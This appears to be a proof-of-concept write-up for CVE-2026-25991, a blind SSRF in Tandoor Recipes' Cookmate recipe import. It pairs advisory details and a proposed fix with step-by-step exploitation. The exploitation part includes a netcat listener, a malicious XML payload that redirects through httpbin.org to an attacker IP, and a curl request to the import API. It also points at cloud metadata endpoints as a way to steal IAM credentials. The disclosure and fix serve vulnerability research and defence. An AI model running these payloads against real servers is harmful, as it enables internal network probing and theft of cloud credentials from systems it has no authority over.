
Proof-of-concept exploit for CVE-2026-25991, a blind SSRF in Tandoor Recipes' Cookmate import, allowing authenticated users to access internal resources.
Proof-of-Concept for SSRF via Recipe Import
Disclosure: Originally reported by me via GHSA-j6xg-85mh-qqf7
⚠️ Authorized pentesting/research use only.
| Field | Value |
|---|
| CVE ID | CVE-2026-25991 |
| Severity | 🔴 High |
| CVSS Score | 7.7 |
| CVSS Vector | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Affected Product | Tandoor Recipes ≤ 2.5.0 |
| Patched Version | 2.5.1 |
| Advisory | GHSA-j6xg-85mh-qqf7 |
I discovered a Blind Server-Side Request Forgery (SSRF) vulnerability in the Cookmate recipe import feature of Tandoor Recipes. The application fails to validate the destination URL after following HTTP redirects, allowing any authenticated user (including standard users without administrative privileges) to force the server to connect to arbitrary internal or external resources.
This vulnerability can be leveraged to scan internal network ports, access cloud instance metadata (e.g., AWS/GCP Metadata Service), or disclose the server's real IP address.
The vulnerability lies in cookbook/integration/cookmate.py, within the Cookmate integration class.
imageurl field.validate_import_url (in cookbook/helper/HelperFunctions.py), which correctly blocks private IP ranges (e.g., 127.0.0.1, 10.0.0.0/8).requests.get(url) to download the image. By default, the requests library follows redirects (allow_redirects=True).
The validate_import_url function only checks the initial URL but fails to validate the final destination after a redirect occurs.Vulnerable Code Snippet (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRITICAL: requests.get follows redirects by default, bypassing the initial check.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
An attacker can use an external service (like httpbin.org) to redirect the request to a restricted internal address (e.g., http://127.0.0.1:80/ or http://169.254.169.254/).
Crucially, the AppImportView (cookbook/views/api.py) explicitly allows CustomIsUser permissions, meaning ANY registered user can trigger this vulnerability. No special administrative rights are required.
Prerequisites:
nc).Steps to Reproduce:
Set up a listener (Attacker Machine):
Open a terminal and start nc to listen for incoming connections. This simulates an internal service or attacker-controlled server.
nc -lvnp 9999
Create a Malicious XML Payload:
Create a file named payload.xml. Replace <YOUR_IP> with your public IP address (or reachable IP).
This payload uses httpbin.org to bypass the initial private IP check and redirect to your listener.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Redirect to internal service or attacker's listener -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Create a ZIP archive: Tandoor requires the XML to be inside a ZIP file.
zip payload.zip payload.xml
Execute the Exploit (via API):
Log in as a Standard User (not admin) to get the session cookie and CSRF token.
Then send a POST request to /api/import/:
(Replace <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> with actual values)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). You will see an incoming HTTP GET request from the Tandoor server.
This confirms that the server, acting on behalf of a standard user, has connected to an arbitrary external/internal resource.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) to steal IAM credentials, leading to full infrastructure compromise.Disable automatic redirect following in the requests.get call or implement strict validation for redirect URLs.
Diff (Proposed Fix):
# cookbook/integration/cookmate.py
# Option 1: Disable Redirects (Recommended)
response = requests.get(url, allow_redirects=False)
# Option 2: Validate Redirects
# (Complex logic required to check every redirect hop against private IP ranges)